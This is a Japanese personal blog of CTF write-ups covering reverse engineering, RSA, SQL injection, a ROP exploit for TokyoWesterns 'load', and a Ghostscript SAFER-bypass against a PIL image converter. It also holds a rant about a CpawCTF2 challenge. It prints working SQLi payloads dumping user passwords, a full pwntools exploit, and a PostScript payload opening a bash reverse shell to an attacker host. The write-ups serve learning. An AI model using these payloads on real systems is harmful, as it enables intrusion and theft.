fr33f0r4ll

自分用雑記

CyberRebeatCTF Writeup

基本的に自分で解いたやつだけ。

binary

crackme

fileで調べるとARMだった。 見た感じでは標準入力がフラグになっていて、再開なら符号化された文字列と一致するというような処理だった。 こういうのはangrで解ける。 シミュレーションしないといけないかと思ったけど、試してみたらangrがそのまま実行できた、すごい。

import angr
import claripy

goal = (0x000105c0)
avoid = [0x0001057c, 0x000105cc]
key_length = 23

p = angr.Project('./crackme')
arg1 = claripy.BVS('arg1', 8*key_length)
state = p.factory.entry_state(args=["./crackme", arg1], add_options={'BYPASS_UNSUPPORTED_SYSCALL'})

for b in arg1.chop(key_length):
    state.add_constraints(b != 0)

pg = p.factory.simgr(state, immutable=False)
e = pg.explore(find=goal, avoid=avoid)


for path in pg.found:
    key = path.state.se.any_str(arg1)
    print("KEY: {}".format(key))

使い方を良く分かってないので変かもしれない。

f31337

fという関数を呼んだあと、スタック上の値とxorした文字列をフラグとして出力している。 が、実行が終わらない。

fを解析してみると、再帰していることが分かった。 再帰で渡す引数を見てみるとフィボナッチっぽいことがなんとなく分かる。 分からなくてもfに渡す引数を順番に変えて観察すれば直感的に分かるはずだ。

その後の処理を見ていくとxorでフラグにしてるっぽい部分が良く分からなかったので手動でデコンパイルした。

int main() {
  char flag[23] = {0};
  
  int rdx = 0; // mov edx, 0;

  do {
    // maybe like this
    int eax = rdx % 8;
    /* int ecx = rdx; */
    /* ecx = ecx >> 0x1f; // MSB to LSB? */
    /* ecx = ecx >> 0x1d; */

    /* int eax =  ecx + rdx; */
    /* eax = eax & 7; */
    /* eax = eax - ecx; */
    // eax; // cdqe    
    
    printf("%d\n", eax);
    
    // eax = [rsp + rax];
    flag[rdx] ^= (char)eax;

    rdx += 1;
      
  } while (rdx != 0x1b);

  // print flag
  
  return 0;
}

実際に走らせてみるとただ%8してるだけだった、最適化の影響で分かりにくい処理になるらしく要調査。

そんなこんなで見ていくと、どうやら31337番目のフィボナッチ数を求めれば良いらしい。 普通にやると計算量が爆発して終わらない(f31337自体が終わらないのはそのせい)ので最適化してあげよう。 メモ化とかその辺を調べれば良いと思う。ググったら出てくるかもしれない。

unsigned long long inner_fibo(unsigned long long num, unsigned long long n1, unsigned long long n2) {
  if (num == 0)
    return n1;
  else
    return inner_fibo(num-1, n2, n1 + n2);
}

unsigned long long fibo(unsigned long long num) {
  return inner_fibo(num, 1, 1);
}

せっかくなのでCで書き直すとこんな感じ。

あとはgdbで結果を直接レジスタに設定してやればいい、その後フラグが表示される。 が、このフラグが誤字っていて通らなかった。ふざけんな!

Crypto

FLAG.encrypted

公開鍵と暗号化されたflagが降ってくる、RSA問題。 pemになった公開鍵のデータを見るとeが異様に大きい値(普通は0x10001、大き過ぎても小さ過ぎてもだめ)ので、wiener attackが可能かもしれないと分かる。 自作ツールでちゃんと解けた、嬉しい。 が、ロード関数作ってなかった上にブランクがあったので無駄に苦戦した。 最終的には秘密鍵だけ渡してPythonで解読、アホか。

(setf n 31264943211208004265136257812922871300684039354012330190834942986731934389912197706421706868451670101634969269274623828581050676733228020854883441494567900924428451571798331504026565707472121772002140681756280190535290943933921834846379665606960802397274296703426557981596105415677658499356618548233939389723076124471098440146923189296244078349641695576997335766674231277153794543785116533620076935082137870329278026757983028280620935089387958708697459641119539250284149601503334899598799831125405703179815161182156366487341348125463136351944709488739527831476641990338237417959538685045943046162779336438891834429341)

(setf e 22766071057080311941289025090582171055356241374729867687887721165996480747230400879635593368509050250879664911119593845131632736205037337764476149970317207453325852306744743355843865620488975017552101697514723815810433086583097066849281143179649731453788074604410013059110037363738062212112776408805474047616975914133565204728262194785129197335550911873746857764241100489778203898866941412395489839653170240092405989209278646213522785197290066584628647242197250525516210135602818305240062919066210956719110372916047407851800476348031106117342132809755720425300509425412742257946576118121595189882915440991231610926049)

;; ローカルに置いてある、登録しようか?
(ql:quickload :hackrsa)

;; 秘密鍵は出せる、秘密鍵は
(setf d (hackrsa:wiener-attack n e))

Signature

ぎりぎりでハッシュエクステンションアタックだと分かったものの、時間が足りず解けなかった。 これさえ解ければ全完だったのに、無念。

Misc

Opening Movie

協力して解いた。 ページ中で300回まで動画を見ないといけないとなっている。 たかだか10数時間なので最初から自動で再生し続ければflagは見れるが、そんなことやってられない。 本当に300回再生したやつがいたらしい、素晴しい。

とりあえずページ中のJSを見てみたが、どうもdllを読み込んでいる。 blazorというブラウザ上でC#を実行するフレームワークがあるらしく、そのプログラムなのだそうだ。 あたまおかしい。

とりあえずそのMoviePlayer.dllをdnSpyで逆コンパイルして見てみた。 すると、encrypt('FLAG_IS_HERE').txtというファイルへのアクセスがあった。 encrypt自体は単なるMD5だったので、ハッシュ計算して直接アクセスすれば良い。 これでフラグゲット。

PPC

ジャンル名はProgrammingになってる。

Calculation

計算式がひたすら降ってくるので計算して返すだけ。 悪い子なのでeval使った。

from pwn import *
io = remote('59.106.212.75', 8080)

while True:
    expr = io.recvline()
    io.info("expr: {}".format(expr))
    io.sendline(str(eval(expr)))
    io.info("send: {}".format(str(eval(expr))))


io.interactive()

Prime Factor

その名の通り素因数分解していく。 他の人が書いたやつをpwntools使うように手直ししてやったら動いた。

from pwn import *
import socket
import sympy

s = remote('59.106.212.75', 8081)

for i in range(1000):
    data = s.recvline()
    print(data)
    max_num = max(sympy.factorint(int(data.decode('utf-8-sig').encode('utf-8').decode('utf-8').strip('\n'))))
    s.sendline(bytes(max_num))

まあやるだけだけど、BOM付きでキレそうだった。

Visual Novels

Reading Powerを越えないように本を読んで満足度を最大化する問題。 要はナップサック問題Pythonに組み合わせ問題を解けるツールがあったので、それを使った。 Python3でしか動かないので、pwntoolsはpython3版を拾ってくる必要がある。

from pwn import *
from ortoolpy import knapsack


def recvline(io):
    return io.recvline().decode('utf-8-sig').encode('utf-8').decode('utf-8')


def parse(io):
    recvline(io)  # blank line
    power = int(recvline(io).replace('Reading Power = ', ''))
    recvline(io)

    novels = []
    line = recvline(io).strip()
    while line != 'Answer = ?':
        novels.append(eval(line.strip(',')))  # dangerous hack!
        line = recvline(io).strip()

    recvline(io)  # blank line

    return (power, novels)


def solve(power, novels):
    size = [n[0] for n in novels]
    weight = [n[1] for n in novels]
    capacity = power
    return knapsack(size, weight, capacity)



io = remote('59.106.212.75', 8082)

for _ in range(5):
    vals = parse(io)
    log.info("params: {}".format(vals))
    ans = int(solve(*vals)[0])
    log.info("ans: {}".format(ans))
    io.sendline(str(ans))
    
io.interactive()
io.close()

ortoolpyすごい。

Stegano

Last 5 Boxes

MP4が降ってくる。 MP4について調べてみると、ボックスと呼ばれる単位でデータが管理されていることが分かる。 おそらく最後の5つのボックスに何かあるのだろうと当たりを付けて、MP4の解析方法を探した。 gpacのMP4Boxが良さそうだったのでそれで確認すると、最後の5つはuuidボックスというものだった。 自由にIDを付けて使えるらしい。 これのデータの部分だけ簡単にパースして、とりあえず全部くっつけたらpngファイルだった。 開くとそれがフラグだった。

from pwn import *

context.endian = 'big'


def parse_uuid_box(data):
    length = data[:4]    
    length = u32(length)
    print(length)

    data = data[4:]
    uuid_sig = data[:4]
    assert (uuid_sig == 'uuid')
    data = data[4:]

    uuid = data[:16]
    data = data[16:]

    pack = data[:length - 24]
    data = data[length - 24:]

    return ((length, uuid, pack), data)


offset = 20998094

mp4 = ''
with open(
        'a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4',
        'rb') as f:
    mp4 = f.read()

uuid_boxes = mp4[offset:]

boxes = []
for _ in range(5):
    box, rest = parse_uuid_box(uuid_boxes)
    boxes.append(box)
    uuid_boxes = rest

with open('dump.bin', 'wb') as f:
    for _, _, data in boxes:
        f.write(data)

ビッグエンディアンの数値変換のためだけにpwntoolsを使うという力技。

Trivia

Monero

知ってた、coinhive。 ググったらすぐだろう。

Web

White page

最初問題文が見にくかった上にサイレント修正しやがった。 問題文のリンク先のページにいくと、入力フォームがhiddenになっていて入力できなくなっている。 単純にPOSTを再編集するか、ページの値を直接書き換えて問題文で指定されたIDとパスを投げればいい。

Uploader

他の人にunionを教えてもらったので色々やったらできた。

ファイル名検索にSQLiの脆弱性がある、これを利用してsecret.zipが手に入る。 ' or 1 == 1; --

パスがかかっているが、ログインするとZipのパスが見れるようになるのでどうにかしてログインする必要がある。

SQLiを色々試しているとエラーメッセージでSQLite3を使ってることが分かった。 ここで、SQLite3でテーブル名が格納されているテーブルの名前とかを調べてみると、sqlite_masterに格納されていることが分かった。
' or 1 == 1 union select * from sqlite_master; --
カラム数が違うと怒られたので、適当に合わせてやる。
' or 1 == 1 union select type,name,tbl_name,rootpage from sqlite_master; --
これでテーブルの名前が流出した、FilesとUsersがある。 おそらくUsersにパスワードが格納されているのだろうと当たりをつけて表示する。

カラム数が違っているがカラム名が分からないのでどうしようかと思ったが、入力フォームの名前で試したらどうやら合っていたらしくユーザ名とパスが流出した。
' or 1 == 1 union select userid, password, NULL, NULL from Users; --

あとはこれでログインするだけである。 パスをゲットしてsecret.zipを解凍、フラグゲット。

CpawCTF2のBad Containerについて

CpawCTF2 Bad Container

この間チャレンジしてみてクソ問だと思ったので、その理由と挑戦する人が引っかからないためにメモを残しておく。

問題としては良質なのでチャレンジする価値はあると思う。問題以外の部分が雑過ぎる。

引っかかりポイント

  • ルートにあるflagはフラグじゃない、誤字も形式も関係ないしフラグとはまったく関係ない
  • 秘密のメッセージは何の指定もないがリートになっているもの。順番も指定されてないが現実的な時間で試行可能なので試す。

ここから先はネタバレありで何が悪かったのかを愚痴る。

悪かった点

フラグ形式

これはBad Containerに限らず別の問題でも見られる問題点だが、フラグの形式が明示されておらず不明瞭になってる。 全体としての形式は一応Noticeに書いてあるものの、sign up, sign in, challengeの問題を解くまでの最短ルートで表示されないのは良くないだろう。 トップページのHomeかchallengeの一番上にでも表示しておくのが一番良いと思う。 探さなきゃ形式が分からないのはストレスだし誤解のもとだ。

CpawCTFの方ではトップページにあるんだからそれに合わせるのが良いと思う。

ハッシュ値

ファイルをダウンロードするような問題では大抵ハッシュ値が掲載されている。 ダウンロード中に破損したのか最初から問題として破損してるのかが紛らわしいので、意図しない破損があるかどうかを確認するためだ。 しかし、この問題ではダウンロードしたファイルとハッシュ値が、少なくとも現時点では一致していない。 ダウンロードされるファイルはzip形式になっているが、ハッシュ値はzipの中身のovaファイルのものになっているからだ。 圧縮したらハッシュ値が変わるということも分からないか、非常に雑な人間が問題を作りテストせず公開したかのどちらかだろう。

公開するファイルのハッシュ値を公開する、必ずテストする。基本的なことで防げる。 今まで誰一人として質問しなかったのか? 質問されたのに修正しなかったならとても不誠実な態度だと言える。

flag

問題の中で渡されるVMのルートディレクトリに存在しているファイルの名前が悪すぎる。 100人に聞いたら100人がこの中にあるものがフラグだと思うだろう。 このファイルの中身も最悪だがそれは後にしておく。 CTFにおいて、flagと書いてあるが実はフラグではありませんでしたなんて問題は出すべきじゃない。 つまらないし意味がない、スコアサーバにDoS攻撃されたいなら止めないが。 意図したものならともかく、何も考えてないだけに見える。

hintとかルートにあると目に付くが誤解のない名前にするべきだ。 フラグを探したいのであってフラグかどうかを試し続けたいわけじゃない。

誤字

flagでも書いたが、flagの中にある文字列が最悪なことに誤字ってる。 "I Love Conainers"だ。 そのせいで、フラグとして受理されなくてもそれがフラグじゃないからなのか、誤字だからなのか、運営がミスをしてるからなのか判別できない。 当然、誤字を修正しないやつが設定したフラグが誤字ってない保証などない。 もしかしたら小文字で設定する馬鹿かもしれないし、何の指定もせずに空白を_に置き換える愚か者かもしれない(フラグの形式も明示しないし誤字を放置する連中の何を信頼できるというのか)。

埒が明かないので問い合わせてみたが、この文字列はフラグじゃないという回答が得られた。 誤字ってるのにまさにこの文字列がフラグじゃないことが分かっても何の役にも立たない。 それはフラグを投げれば分かることだ。 せめて誤字していることに関する回答ぐらいすべきだろう、意図したものではないなら作問者の明確なミスなんだから。 これまでに一回も指摘されてないとは考えにくいが、まあそれはありえるかもしれない。 しかし一切問題のテストをしてないのか? テストすればすぐに気付くと思うが。

その上、問い合わせしてから数日立つがハッシュ値からして修正されていないようだ。 まあすぐに動けないこともあるだろうし、またあとで確認してみよう。 今回の問い合わせで作問者はこの誤字について知ったはずだ、修正されなければそいつはクソだ。 少なくとも問題文中で告示すべきだ。

ともかく、誤字は指摘されたら修正すべきだし、公開前に誤字が残らないように確認すべきだ。 解いてみた限りではこれは一応ヒントなのだが、tが抜けていることとは関係がなさそうな問題だった。おそらく本当に単なる誤字なのだろう。

フラグについて

取得したスクリプトファイルを見ると、hintとしてフラグが指定されている。 もうhintという単語使ってるんだからflagじゃなくてhintでいいだろと感じられる。 このヒントを簡単に説明すると、secret_messageを2つアンダーバーで繋げたものがフラグになるらしい。 このヒント自体には問題はないと思う、問題はこの秘密のメッセージだ。 この秘密のメッセージを解読するにはページを見ろみたいなことが書いてあるのだが、その肝心のページに書いてあることのどれが秘密のメッセージなのか一切書いてない。 そのページ自体、ヒントが見れるならもう見ているはずだからsecret_messageとはっきり記載してしまっても問題はないはずだ。 にも関わらず何も書いてない。 不要な曖昧性は排除するべきだろう。 確かにページ中に不自然なリートのフレーズはあるので、それが秘密のメッセージの片割れだと考えることはできるが、この時点ではもう片方が分かっていないので無駄な試行を生む。 特にI loveで始まるもうひとつのフレーズが載っているのがflagと合わせて非常に紛らわしい。 この問題の本質は仮想マシンやコンテナ技術のフォレンジクスであって、紛らわしいフラグをどれが正しいのかと無駄に試させることではないはずだ。

ちなみにもう片方もsecret_messageかどうかの指定はない。まったく関係ない文字列かもしれない疑いは最後まで晴らせないわけだ。 リートなので直感的に分かるが、いくつかのCTFを経験したから分かるというだけで慣れてない人間にとってはいい迷惑だ。

単純にsecret_message: xxxxxと書けばいい、それだけで不要な混乱をなくせる。

質問に対する対応

誤字でフラグが通らないのか、それともこのflagという馬鹿が付けたとしか思えない紛らわしい名前のファイルの内容がフラグとは何の関係もないのかを確かめるために運営の人に質問をした。 常設のCTFなので対応が遅いことは仕方ないし、解法に直接関することに回答できないのも仕方ないだろう。それは問題ではない。 だが、誤字が入ってることについてわざわざ言及されたのに「その文字列はフラグではありません」などというクソの役にも立たない、質問する前から分かっているようなクソのような回答しか返せないのなら何の意味もない。 やってることがフラグと送信フォームと同じじゃないか、そんなことはフラグを送信したから分かっている。 しかも最終的にはトラブルなどについての対応しかできないときた。 それなら作問者にたらい回しにする必要があるか? 最初に質問した人だけで十分なはずだ、どうして待たせた? 極めて不愉快だった、特別なサービスを要求するわけではないが無意味に浪費される時間とコミュニケーションほどフラストレーションが溜まるものはない。 でもこの点については仕方がない、プロが仕事してやってるわけでもないのだからある程度は適当なものだろう。 そういうわけで運営があまり良くないのは許容できることではあるが、これだけ積み重なってるとそんな気も失せてくるのも事実だ。

誤字についてわざわざ言及されたならその場でそれを訂正するべきだ。はっきりと正しくはcontainerだと明示するべきだ。 そしてそれがフラグに影響しないなら、この誤字による影響はありませんだとか言うべきだろう。 フラグじゃない文字列をフラグかどうか試すクソ問題を作った自負があるなら別だが。

良かった点

人間的に劣っているのでストレスの捌け口にしたが、この問題は別に問題として悪いわけじゃないと思う。 むしろ技術やシステム、ソフトウェアに対する知識と理解がなければ解けない、良い問題だった(その分悪かった点で台無しだが)。 自分の悪評を挽回するために良かった点を上げていこうと思う

Linuxについて

この問題では最初に仮想マシンをダウンロードしてそれを起動するのだが、ある理由でログインできなくなっている。 Linux自動起動や通常の方法でログインできなくなった場合の対処について知ることができる良い障害だった。 ある程度の分かりやすさがあるのも良い、あくまで導入だった。

フォレンジクスについて

ログインしたあとの調査も、オーソドックスでためになる。flagは別としてだが。 おそらく不正アクセスなんかの調査でも、調べる対象になるところに次のヒントがあるのは素晴しい。 楽しいだけのクイズじゃない問題は良問だと思う。

Dockerについて

DockerHubについて知ることができるだろう。 Dockerを触ったことがない人が学ぶきっかけにもなるし、これからはコンテナ技術を使っている場合のフォレンジクスも増えるだろう。 題材として良いと思う。

最後のメッセージについて

Dockerの仕組みを知っていなければおそらく解けないはずだ。 知ってはいたが具体的にやったことがなかったため、とても良い勉強になった。


あまり具体的に書き過ぎるとネタバレになりすぎるため、伏せ気味に書いた。

まとめ

色々書いたが問題としては良いということは強調しておく。 問題としては良いだけに、それ以外の雑さ加減が際だっているのも事実だ。 この記事が目に付いて修正されることを願う。 直接言うだけのコミュニケーション能力はない。 そもそも勝手に悪いと思ってるだけで一般的にはそうでないかもしれない。 だからといって考え方は変えないが、この雑な問題が本当に良いかどうかは考え直して欲しいところだ。

TokyoWesterns CTF 2018 load 復習

TokyoWesterns CTF 2018 load 復習

答えを見ながら復習。

実行してみるとどうもファイルを読み込んでるっぽい。 リモートホストで実行すると、flag.txtという名前のファイルが読み込める。

/proc/self/fd/0がopenできるので、ファイルの代わりに標準入力を開くことができる。 ファイルの内容を読み込むときにmainでバッファオーバーフローしてるのでripが取れる。

がしかし、mainの最後で標準入出力が全部closeされるためフラグを出力させることができない。ここで詰まった。

Writeupを見ると、/dev/pts/?で再度標準入出力を開けるらしい。詳しい仕組みはまだ分からない。 さらに、ROPのためにcsu_initを利用する。

csu_initについて

http://inaz2.hatenablog.com/entry/2014/07/31/010158 ももいろテクノロジー様々、これによるとglibc__libc_csu_initを利用すると任意の3引数関数が呼び出せるらしい。 __libc_csu_initの以下の部分が利用できる。

4005f0:       4c 89 fa                mov    rdx,r15
4005f3:       4c 89 f6                mov    rsi,r14
4005f6:       44 89 ef                mov    edi,r13d
4005f9:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
4005fd:       48 83 c3 01             add    rbx,0x1
400601:       48 39 eb                cmp    rbx,rbp
400604:       75 ea                   jne    4005f0 <__libc_csu_init+0x50>
400606:       48 8b 5c 24 08          mov    rbx,QWORD PTR [rsp+0x8]
40060b:       48 8b 6c 24 10          mov    rbp,QWORD PTR [rsp+0x10]
400610:       4c 8b 64 24 18          mov    r12,QWORD PTR [rsp+0x18]
400615:       4c 8b 6c 24 20          mov    r13,QWORD PTR [rsp+0x20]
40061a:       4c 8b 74 24 28          mov    r14,QWORD PTR [rsp+0x28]
40061f:       4c 8b 7c 24 30          mov    r15,QWORD PTR [rsp+0x30]
400624:       48 83 c4 38             add    rsp,0x38
400628:       c3                      ret

ただし、実際にコンパイルしてみたコードとは微妙に違う。

0x00400580      4c89ea         mov rdx, r13
0x00400583      4c89f6         mov rsi, r14
0x00400586      4489ff         mov edi, r15d
0x00400589      41ff14dc       call qword [r12 + rbx*8]
0x0040058d      4883c301       add rbx, 1
0x00400591      4839eb         cmp rbx, rbp
0x00400594      75ea           jne 0x400580
0x00400596      4883c408       add rsp, 8
0x0040059a      5b             pop rbx
0x0040059b      5d             pop rbp
0x0040059c      415c           pop r12
0x0040059e      415d           pop r13
0x004005a0      415e           pop r14
0x004005a2      415f           pop r15
0x004005a4      c3             ret

loadだと以下のような感じになってる。実際にコンパイルした場合のコードと一致する。

  400a50:    4c 89 ea                mov    rdx,r13
  400a53:   4c 89 f6                mov    rsi,r14
  400a56:   44 89 ff               mov    edi,r15d
  400a59:   41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  400a5d:   48 83 c3 01           add    rbx,0x1
  400a61:   48 39 eb               cmp    rbx,rbp
  400a64:   75 ea                   jne    400a50 <stdout@@GLIBC_2.2.5-0x2005d0>
  400a66:   48 83 c4 08           add    rsp,0x8
  400a6a:   5b                      pop    rbx
  400a6b:   5d                      pop    rbp
  400a6c:   41 5c                  pop    r12
  400a6e:   41 5d                  pop    r13
  400a70:   41 5e                  pop    r14
  400a72:   41 5f                  pop    r15
  400a74:   c3                       ret

rdxへの値のセット

とりあえずloadの方でrdi, rsi rdxをセットする方法を考える。 次の手順でいけそう。

  1. 0x400a6aからスタートする。rbx, rbp, r12, r13, r14, r15に値が設定できる。
  2. retで400a50に飛ぶ。ここでmov rdx,r13rdxに値が設定できる。 => r13 = rdx
  3. rsiにr14が設定。 => r14 = rsi
  4. ediにr15dが設定される、これは使わない方が良いかもしれない。上位ビットが設定できない。
  5. call QWORD PTR [r12+rbx*8]が入るので、[r12 + rbx * 8] -> ret;となるように調整する。 => [r12 + rbx * 8] -> ret;
  6. jneでのジャンプがあるので、rbx + 1 == rbpとなるようにrbxを設定しておく。 => rbx + 1 == rbp
  7. そのあとはスタックを消費するだけなので、適当にパディングすれば良い。

rdiをセットするガジェットはあったので、それを使えば問題ない。

Exploit

流れとしてはまず、/proc/self/fd/0を開かせてバッファオーバーフローを引き起こす。 NXビットが立ってるのでROPする。

ROPでflag.txtを開き、読み込み、出力することを目指す。 まず/dev/pts/?を適当に指定し2回開くことで0と1のファイルディスクリプタ、つまりstdinとstdoutを設定する。 これでputsでstdoutに出力されるようになる。

次にflag.txtを開く、これはfdが2になる。 その次にreadでbss領域にファイルの内容を読み込む。 最後はその読み込んだ内容を出力する。

/dev/pts/?のopenがうまくいっていれば、フラグが表示される。 何回か繰り返すとうまくいく、だいたい0~3らしい。0でうまくいった。

最終的にExploitは以下のようになる。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
import time

context.update(arch='amd64')
exe = './pwn_load'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote('pwn1.chal.ctf.westerns.tokyo', 34835)
    else:
        return process([exe] + argv, *a, **kw)


# gdb
gdbscript = '''
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

elf = ELF(exe)

# file names
stdin_path = '/proc/self/fd/0'
pts_path = '/dev/pts/' + args.PTS
flag_txt = 'flag.txt'

# gadget
pop_rdi = 0x00400a73  # pop rdi ; ret
pop2_rsi = 0x00400a71  # pop rsi ; pop r15 ; ret  ;
csu_init1 = 0x400a50  # mov rdx,r13; move rsi,r14; ...
csu_init2 = 0x400a6a  # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
ret = 0x004006a9  # ret

# address
main = 0x00400823
global_buf = 0x601040
bss = 0x601000
pts_path_addr = global_buf + len(stdin_path) + 1
flag_path_addr = global_buf + len(stdin_path) + 1 + len(pts_path) + 1
rbp = 0x7fffffffd720


def set_rdi(rdi_val):
    return p64(pop_rdi) + p64(rdi_val)


def set_rdi_rsi(rdi_val, rsi_val):
    payload = set_rdi(rdi_val)
    payload += p64(pop2_rsi)
    payload += p64(rsi_val)
    payload += "A" * 8  # padding

    return payload


def set_rdi_rsi_rdx(rdi_val, rsi_val, rdx_val):
    # r13 -> rdx, r14 -> rsi, [r12 + rbx * 8] -> ret, rbx + 1 == rbp
    dummy_val = 0x4141414141414141
    rbx = rbp - 1
    # this work unless rbx * 8 == addr
    trg = global_buf + len(stdin_path) + 1 + len(pts_path) + 1 + len(
        flag_txt) + 1
    neg_r12 = trg - rbx * 8
    mod = 0x10000000000000000
    r12 = mod * (-neg_r12 // mod + 1) + neg_r12
    # At this point, r12+rbx*8 points ret by reg overflow
    r13 = rdx_val
    r14 = rsi_val
    r15 = dummy_val

    # payload construction
    payload = p64(csu_init2)
    payload += p64(rbx)
    payload += p64(rbp)
    payload += p64(r12)
    payload += p64(r13)
    payload += p64(r14)
    payload += p64(r15)
    payload += p64(csu_init1)
    payload += p64(dummy_val)  # for add rsp,0x8
    payload += p64(dummy_val)  # rbx
    payload += p64(dummy_val)  # rbp
    payload += p64(dummy_val)  # r12
    payload += p64(dummy_val)  # r13
    payload += p64(dummy_val)  # r14
    payload += p64(dummy_val)  # r15
    payload += set_rdi(rdi_val)  # can't set rdi but gadget exists!

    return payload


# payload construction
payload = 'A' * 0x30 + p64(rbp)  # padding

# call open pts => fd = 0
payload += set_rdi_rsi(pts_path_addr, constants.O_RDWR)  # 0x2702
payload += p64(elf.plt['open'])

# call open pts => fd 1
payload += set_rdi_rsi(pts_path_addr, constants.O_RDWR)  # 0x2702
payload += p64(elf.plt['open'])

# call open flag => fd 2
payload += set_rdi_rsi(flag_path_addr, constants.O_RDONLY)
payload += p64(elf.plt['open'])

# read flag to global by fgets
payload += set_rdi_rsi_rdx(2, bss, 0x100)
payload += p64(elf.plt['read'])

# puts flag to pts
payload += set_rdi(bss)
payload += p64(elf.plt['puts'])

print()
if args.WAIT:
    time.sleep(5)

io.sendline(stdin_path + '\0' + pts_path + '\0' + flag_txt + '\0' + p64(ret))
io.sendline('0')  # offset 0
io.sendline(str(len(payload)))  # payload length

io.clean()
io.sendline(payload)

io.interactive()

TWCTF2018の反省 Slacki Emoji Converter

Slack Emoji Converterの復習

解けなかったので再チャレンジ、ヒント貰ったりWriteup見ながらやった。

まず問題文中で示されているURLにアクセス。 画像を変換するっぽい感じのページが出てくるが、とりあえずソースを見る。 html中にコメントアウトされた/sourceというリンクがあるので、アクセスしてみるとソースコードが見れる。 それをダウンロード。

内容はPythonのflaskのコードだった、このWebサービス自体のコードっぽい。 それによると、/convにPOSTで投げた画像をPILを使って読み込み、縮小して返していることが分かる。 変換コードはこんな感じ。

@app.route('/conv', methods=['POST'])
def conv():
    f = request.files.get('image', None)

    if not f:
        return redirect(url_for('index'))

    ext = f.filename.split('.')[-1]
    fname = tempfile.mktemp("emoji")
    fname = "{}.{}".format(fname, ext)
    f.save(fname)

    img = Image.open(fname)
    w, h = img.size
    r = 128/max(w, h)
    newimg = img.resize((int(w*r), int(h*r)))
    newimg.save(fname)

    response = make_response()
    response.data = open(fname, "rb").read()
    response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename)
    os.unlink(fname)
    return response

攻撃ポイントは画像とファイル名くらいだったので色々考えてみたが分からなかった。 ここで詰まったのでヒントを貰った、ライブラリの脆弱性を探すと良いらしい。 色々調べてみると、PostScriptをPILで読み込むと内部でghostscriptが使われるらしく、それを利用してghostscriptの脆弱性を攻撃できるっぽいことが分かった。

GhostButt CVE-2017-8291が使える気がしたが何故か刺さらなかった、後で調べても使えそうな気がしたけどどっかでエラーを起こしてる。 これは後で検証する。

ここでもうwriteupを見た、実際は別のもっと新しい脆弱性を使うらしい。 https://kingx.me/latest-vulns/に載ってた。

ここで脆弱性の説明をする前にghostscriptの説明。 ghostscriptにはSAFERと呼ばれるサンドボックス機能がありPILはそれを使用しているが、これを回避できる脆弱性がいくつかある。 今回使った脆弱性は、保存されたインタープリターの状態を復元するrestoreコマンドが失敗すると、権限/invalidaccessをチェックする機能がそれ以降働かなくなる(おそらく状態を中途半端に復元して変更してしまうためだろうか?)ので、任意のコマンドを実行できるようになるというものである。 これにより任意のコマンド(PoCだとidコマンド)を実行できる。 PoCコードは以下

%!PS
userdict /setpagedevice undef % userdictという辞書からsetpagedeviceという名前を削除
save % スタックに状態を保存
legal % ページ設定、サイズをlegalに

% 無名関数をスタックに積み、stoppedが実行。null restoreはエラーを起こし、stoppedがtrueになりpopが実行される
{ null restore } stopped { pop } if 

% 正常な処理、これはなくても良さそう。要検証
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops 
% restoreが失敗したあと何故か/invalidaccessのチェックが働かないバグがあるため、本来なら実行できない
% 意味としては、現在のデバイスの/OutputFileプロパティにパイプしたコマンド実行を設定しろという意味?
% この結果コマンドが実行されるっぽい

普通にポート開けてアクセスしようとしたがそれは弾かれたので、リバースシェルする。

mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/"your_ip_addr"/"your_favorite_port" 0>&1') currentdevice putdeviceprops

という感じになる。 リモートにはPythonもあるのでそれでも良いかも、好きな方をどうぞ。

流れとしては 1. リバースシェルを起動するpostscriptファイルを作成 2. リバースシェルを待ち受けしておく 3. Slack Emoji Serviceにpostscriptファイルをドラッグ&ドロップ、convert 4. 待ち受けたリバースシェルからシステムにアクセス という感じ。

フラグはルートにあるflagの中にある。


色々調べたことをメモ代わりに残しておく。Postscriptにちょっと詳しくなってしまった。

Ghostscript

Wiki

Ghostscript(ゴーストスクリプト)は、PostScript や Portable Document Format (PDF) などアドビシステムズのページ記述言語用のインタプリタおよび、それを基にしたソフトウェアパッケージのことである。フリーソフトウェアとして配布されている。

要はPostScriptを画像に変換するのに使われるソフトウェア。

PythonのPILではPostScriptファイルを読み込むときghostscript(gsコマンド)を実行して画像に変換している。

PIL

参考サイト

https://github.com/neargle/PIL-RCE-By-GhostButt/blob/master/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability.md

参考にしたサイトによると、以下のような呼び出しをしているらしい。

command = ["gs",
            "-q",                         # quiet mode
            "-g%dx%d" % size,             # set output geometry (pixels)
            "-r%fx%f" % res,              # set input DPI (dots per inch)
            "-dBATCH",                    # exit after processing
            "-dNOPAUSE",                  # don't pause between pages,
            "-dSAFER",                    # safe mode
            "-sDEVICE=ppmraw",            # ppm driver
            "-sOutputFile=%s" % outfile,  # output file
            "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
                                            # adjust for image origin
            "-f", infile,                 # input file
            ]

-dSAFERというのが特に重要で、ghostscriptのアクセス制限を有効にするオプションである。

SAFER

manページを一部抜粋

SAFER MODE The -dSAFER option disables the "deletefile" and "renamefile" operators and prohibits opening piped commands ("%pipe%cmd"). Only "%stdout" and "%stderr" can be opened for writing. It also disables reading from files, except for "%stdin", files given as a command line argument, and files contained in paths given by LIBPATH and FONTPATH or specified by the system params /FontResourceDir and /GenericResourceDir.

見てみると(%pipe%cmd)でコマンドが実行できるが、SAFERだとそれを制限できるみたいなことが書いてある。 SAFERが有効だと、Postscriptはファイルを削除したりコマンドを実行したりできないサンドボックス環境で実行されることになる。 が、実際にはこのSAFERをバイパスできる脆弱性がいくつかある。

Ghostbutt

参考サイト

CVE-2017-8291

GhostscriptでSAFERをバイパスできる脆弱性のひとつ、直訳で"幽霊の尻"。 検索して出てきたサイトには何故かSCPの動画があった。 ghostscript9.21の型の混乱によるエラーが原因らしい。

